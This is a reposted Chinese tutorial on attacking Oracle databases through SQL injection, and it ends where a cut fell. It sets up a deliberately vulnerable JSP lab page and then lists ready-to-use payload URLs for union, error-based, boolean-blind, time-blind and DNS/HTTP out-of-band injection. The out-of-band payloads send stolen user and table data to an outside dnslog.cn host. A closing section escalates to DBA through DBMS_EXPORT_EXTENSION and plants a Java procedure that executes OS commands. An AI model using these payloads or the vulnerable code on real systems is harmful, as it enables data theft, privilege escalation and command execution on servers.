原文https://mp.weixin.qq.com/s/Wkdy9VFf_evvclkzatIQsQ

Oracle数据库的基本知识

Oracle数据库介绍

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。

Oracle服务默认端口:1521

Oracle权限分类

权限是用户对一项功能的执行权力。在Oracle中,根据系统管理方式不同,将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。

系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。

实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

系统权限管理

—— 系统权限分类 ——

•DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。•RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。•CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。

对于普通用户:授予connect, resource权限。

对于DBA管理用户:授予connect,resource, dba权限。

  1. 系统权限授权命令:系统权限只能由DBA用户授出:sys, system(最开始只能是这两个用户) 授权命令:SQL> grant connect, resource, dba to 用户名1 [,用户名2]…; 注:普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收。例:SQL> connect system/manager SQL> Create user user50 identified by user50; SQL> grant connect, resource to user50;
  2. 查询用户拥有哪里权限:SQL> select from dba_role_privs; SQL> select from dba_sys_privs; SQL> select * from role_sys_privs;
  3. 查自己拥有哪些系统权限 SQL> select * from session_privs;
  4. 删除用户 SQL> drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除
  5. 系统权限传递:增加WITH ADMIN OPTION选项,则得到的权限可以传递。SQL> grant connect, resorce to user50 with admin option; //可以传递所获权限。
  6. 系统权限回收:系统权限只能由DBA用户回收 SQL> Revoke connect, resource from user50;
  7. 说明:1)如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。2)系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。

实体权限管理

—— 实体权限分类 ——

•select, update, insert, alter, index, delete, all //all包括所有权限•execute //执行存储过程权限

  1. user01: SQL> grant select, update, insert on product to user02; SQL> grant all on product to user02;
  2. user02: SQL> select * from user01.product; // 此时user02查user_tables,不包括user01.product这个表,但如果查all_tables则可以查到,因为他可以访问。
  3. 将表的操作权限授予全体用户:SQL> grant all on product to public; // public表示是所有的用户,这里的all权限不包括drop。
  4. 实体权限数据字典 SQL> select owner, table_name from all_tables; // 用户可以查询的表 SQL> select table_name from user_tables; // 用户创建的表 SQL> select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表(被授权的) SQL> select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)
  5. DBA用户可以操作全体用户的任意基表(无需授权,包括删除):
  6. DBA用户:SQL> Create table stud02.product( id number(10), name varchar2(20)); SQL> drop table stud02.emp;
  7. SQL> create table stud02.employee as select * from scott.emp;
  8. 实体权限传递(with grant option):
  9. user01: SQL> grant select, update on product to user02 with grant option; // user02得到权限,并可以传递。
  10. 实体权限回收:
  11. user01: SQL>Revoke select, update on product from user02; //传递的权限将全部丢失。
  12. 说明 1)如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。

管理角色

  1. 建一个角色 sql>create role role1;
  2. 授权给角色 sql>grant create any table,create procedure to role1;
  3. 授予角色给用户 sql>grant role1 to user1;
  4. 查看角色所包含的权限 sql>select * from role_sys_privs;
  5. 创建带有口令以角色(在生效带有口令的角色时必须提供口令) sql>create role role1 identified by password1;
  6. 修改角色:是否需要口令 sql>alter role role1 not identified; sql>alter role role1 identified by password1;
  7. 设置当前用户要生效的角色 (注:角色的生效是一个什么概念呢?假设用户ab1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。) sql>set role role1; //使role1生效 sql>set role role,role2; //使role1,role2生效 sql>set role role1 identified by password1; //使用带有口令的role1生效 sql>set role all; //使用该用户的所有角色生效 sql>set role none; //设置所有角色失效 sql>set role all except role1; //除role1外的该用户的所有其它角色生效。sql>select * from SESSION_ROLES; //查看当前用户的生效的角色。
  8. 修改指定用户,设置其默认角色 sql>alter user user1 default role role1; sql>alter user user1 default role all except role1;
  9. 删除角色 sql>drop role role1;
  10. 角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。
  11. 说明: 1)无法使用WITH GRANT OPTION为角色授予对象权限 2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联

PL/SQL语言

PL/SQL也是一种程序语言,叫做过程化SQL语言(Procedual Language/SQL)。

PL/SQL是Oracle数据库对SQL语句的扩展。在普通SQL语句的使用上增加了编程语言的特点,所以PL/SQL就是把数据操作和查询语句组织在PL/SQL代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在PL/SQL编程语言是由甲骨文公司在20世纪80年代,作为SQL程序扩展语言和Oracle关系数据库开发。

基本存储过程结构:

  1. DECLARE
  2. <declarations section>
  3. BEGIN
  4. <executable command(s)>
  5. EXCEPTION
  6. <exception handing>
  7. END;

SQL注入需注意的规则

1.Oracle使用查询语言获取需要跟上表名,这一点和Access类似,没有表的情况下可以使用dual表,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。2.Oracle的数据库类型是强匹配,所以在Oracle进行类似Union查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用NULL代替某些无法快速猜测出的数据类型位置,这一点和SQLServer类似。3.Oracle和mysql不一样,分页中没有limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=04.Oracle的单行注释符号是--,多行注释符号/**/。5.Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。6.Oracle使用||拼接字符串(在URL中使用编码%7c表示),concat()函数也可以实现两个字符串的拼接

实验环境

•操作系统:Windows Server 2008R2•数据库:Microsoft SQL Server 2008R2•Web服务器:Tomcat 7.0•脚本语言:jsp•源代码:index.jsp• 本地域名配置:hackrock.com:8080

  1. <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
  2. <%@ page import="oracle.jdbc.*"%>
  3. <%@ page import="java.sql.*" %>
  4. <%@ page import="oracle.sql.*" %>
  5. <%
  6. String path = request.getContextPath();
  7. String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
  8. %>
  9. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  10. <html>
  11. <head>
  12. <base href="<%=basePath%>">
  13. <title>Oracle注入测试</title>
  14. <meta http-equiv="pragma" content="no-cache">
  15. <meta http-equiv="cache-control" content="no-cache">
  16. <meta http-equiv="expires" content="0">
  17. <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
  18. <meta http-equiv="description" content="This is my page">
  19. <!--
  20. <link rel="stylesheet" type="text/css" href="styles.css" mce_href="styles.css">
  21. -->
  22. </head>
  23. <body>
  24. <%
  25. String url = "http://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath()+request.getServletPath();
  26. Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
  27. Statement stmt = null;
  28. ResultSet rs=null;
  29. String oraUrl="jdbc:oracle:thin:@127.0.0.1:1521:orcl";
  30. String oraUser="TEST";
  31. String oraPWD="123456";
  32. try
  33. {
  34. DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
  35. }catch (SQLException e)
  36. {
  37. out.print("filed!!");
  38. }
  39. try
  40. {
  41. Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
  42. String sql="select * from news where id="+request.getParameter("id");
  43. out.print("执行语句:<br>"+sql+"<br>");
  44. stmt = conn.createStatement();
  45. rs = stmt.executeQuery(sql);
  46. out.print("结果为:");
  47. out.print("<table border='1' cellpadding='4' cellspacing='0' style='background-color:White;border-color:#3366CC;border-width:1px;border-style:None;width:203px;border-collapse:collapse;'>");
  48. out.print("<tr style='color:#CCCCFF;background-color:#003399;font-weight:bold;'>");
  49. out.print("<td>id</td><td>title</td><td>content</td>");
  50. out.print("</tr>");
  51. out.print("<tr style='color:#003399;background-color:White;'>");
  52. while(rs.next())
  53. {
  54. out.print("<td>");out.print(rs.getString(1));out.print("</td>");
  55. out.print("<td>");out.print(rs.getString(2));out.print("</td>");
  56. out.print("<td>");out.print(rs.getString(3));out.print("</td>");
  57. }
  58. out.print("<tr>");
  59. rs.close();
  60. stmt.close();
  61. conn.close();
  62. } catch (SQLException e)
  63. {
  64. System.out.println(e.toString());
  65. out.print(e.toString());
  66. }
  67. %>
  68. </body>
  69. </html>

联合查询注入

判断注入点的方式与之前的数据库注入一样,就不详细讲了。

判断查询列数

依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。

  1. http://hackrock.com:8080/oracle/?id=1 order by 3 --+
  2. http://hackrock.com:8080/oracle/?id=1 order by 4 --+

判断回显位

  1. http://hackrock.com:8080/oracle/?id=-1 union select null,null,null from dual --+
  2. http://hackrock.com:8080/oracle/?id=-1 union select 1,'2','3' from dual --+

获取数据库基本信息

  1. 获取数据库版本
  2. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
  3. 获取数据库的实例名(SYS用户才可查询)
  4. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+

获取用户名

Oracle没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。

  1. 获取第一个用户名
  2. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
  3. 获取第二个用户名
  4. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select username from all_users where rownum=1 and username<>'SYS'),'3' from dual --+
  5. 获取当前用户名
  6. http://hackrock.com:8080/oracle/?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+

获取表名

  1. 获取TEST用户的第一张表
  2. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
  3. 获取TEST用户的第二张表
  4. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+

获取字段名

  1. 获取TEST用户的USERS表的第一个列名
  2. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
  3. 获取TEST用户的USERS表的第二个列名
  4. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+

获取数据

  1. http://hackrock.com:8080/oracle/?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+

报错注入

在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

utl_inaddr.get_host_name()函数报错注入

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

ctxsys.drithsx.sn()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+

dbms_xdb_version.checkin()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.makeversioned()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_xdb_version.uncheckout()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

dbms_utility.sqlid_to_sqlhash()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

ordsys.ord_dicom.getmappingxpath()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+

XMLType()函数报错注入

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+
  5. 获取字段名
  6. http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+

布尔型盲注

decode()函数布尔盲注

  1. decode(字段或字段的运算,值1,值2,值3

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3。

当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多。

使用方法:

比较大小

  1. select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1

例如:

变量1=10,变量2=20,则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

  1. select decode(sign(10-20),-1,10,20) from dual;

猜解当前用户

  1. 判断是否是TEST用户
  2. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+
  3. 也可利用substr()函数进行逐一猜解
  4. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'T',1,0) from dual) --+

猜解表名

  1. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+

猜解字段名

  1. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+

猜解数据

  1. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+

instr()函数布尔盲注

instr函数的使用,从一个字符串中查找指定子串的位置。例如:

  1. select instr('abcdef123de','de') position from dual;

Oracle数据库注入方式总结 【转载】 - 图1

043da52fbdd3d786b78a7384caa9c6c7.png

从1开始算 de排第四所以返回4

布尔盲注中的应用

  1. http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),'S'))=1 --+
  2. http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),'SY'))=1 --+
  3. http://hackrock.com:8080/oracle/?id=1 and (instr((select user from dual),'SYS'))=1 --+

payload构造如上。

substr()函数布尔盲注

获取数据长度

  1. http://hackrock.com:8080/oracle/?id=1 and (select length(user) from dual)=3 --+

猜解ASCII码

  1. http://hackrock.com:8080/oracle/?id=1 and (select ascii(substr(user,1,1))from dual)>65 --+

payload构造如上。

时间型盲注

oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注。

oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

dbms_pipe.receive_message()函数时间盲注

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

  1. dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE()函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

查看是否可以使用dbms_pipe.receive_message()函数进行延时注入

  1. http://hackrock.com:8080/oracle/?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+

Oracle数据库注入方式总结 【转载】 - 图2

c73218c0384317c32b1796c080b43cad.png

来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:

  1. DBMS_PIPE.RECEIVE_MESSAGE (
  2. pipename IN VARCHAR2,
  3. timeout IN INTEGER DEFAULT maxwait)
  4. RETURN INTEGER;

具体payload构造:

猜解当前用户

  1. http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

猜解表名

  1. http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

猜解字段

  1. http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

猜解数据

  1. http://hackrock.com:8080/oracle/?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

decode()函数时间盲注

(select count(*) from all_objects)会花费更多时间去查询所有数据库的条目。不过在使用的过程中有很多不尽如人意的地方,有时候加载快有时加载慢。

时间盲注的应用

  1. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual)

payload构造如上。

decode()与dbms_pipe.receive_message()嵌套时间盲注

时间盲注的应用

  1. http://hackrock.com:8080/oracle/?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual)

payload构造如上。

DNS带外通信注入

Oracle注入之带外通信和DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似。

Oracle发送HTTP和DNS请求,并将查询结果带到请求中,然后检测外网服务器的HTTP和DNS日志,从日志中获取查询结果,通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。

使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测。或许这就是Oracle的SSRF。

利用utl.inaddr.get_host_address(),将查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果。

检测是否支持utl_http.request

  1. http://hackrock.com:8080/oracle/?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+

若页面返回正常,这说明支持utl_http.request

构造payload

  1. 获取用户名
  2. http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
  3. 获取表名
  4. http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
  5. 获取列名
  6. http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
  7. 获取数据
  8. http://hackrock.com:8080/oracle/?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

利用漏洞提权执行命令

Oracle提权漏洞集中存在于PL/SQL编写的函数、存储过程、包、触发器中。Oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者权限)。定义者权限给了低权限用户在特定时期拥有高权限的可能,这就给提权操作奠定了基础。

即,无论调用者权限如何,执行存储过程的结果权限永远为定义者权限,因此,如果一个较高权限的用户定义了存储过程,并赋予了低权限用户调用权限,较低权限的用户即可利用这个存储过程提权。

Java作为Oracle公司的主打语言,具有内置的安全性机制和高效的垃圾收集系统。Java还具有一组非常大的、丰富的标准库,从而可以更快、更低成本地开发应用程序。因此Oracle公司在它的Oracle数据库中,同样支持了使用Java来编写存储过程。

那么对于攻击者来说,完全可以通过这一特性,在系统上执行Java代码,从而完成提权操作。

攻击流程

Oracle数据库注入方式总结 【转载】 - 图3

859e8d3edbce11899c6415bfac2e25ee.png

本文测试环境均为

CentOS Linux release 7.2.1511 (Core)

Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit Production

执行方式很多种,这边只研究Oracle10g,并且本地实测成功的

DBMS_EXPORT_EXTENSION()dbms_xmlquery.newcontext()DBMS_JAVA_TEST.FUNCALL()

dbms_export_extension()

•影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)•权限:None•详情:这个软件包有许多易受PL/SQL注入攻击的函数。这些函数由SYS拥有,作为SYS执行并且可由PUBLIC执行。因此,如果SQL注入处于上述任何未修补的Oracle数据库版本中,那么攻击者可以调用该函数并直接执行SYS查询。

提升权限

该请求将导致查询”GRANT DBA TO PUBLIC”以SYS身份执行。因为这个函数允许PL / SQL缺陷(PL / SQL注入)。一旦这个请求成功执行,PUBLIC获取DBA角色,从而提升当前user的特权

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

使用Java执行

创建Java库

  1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

赋予Java权限

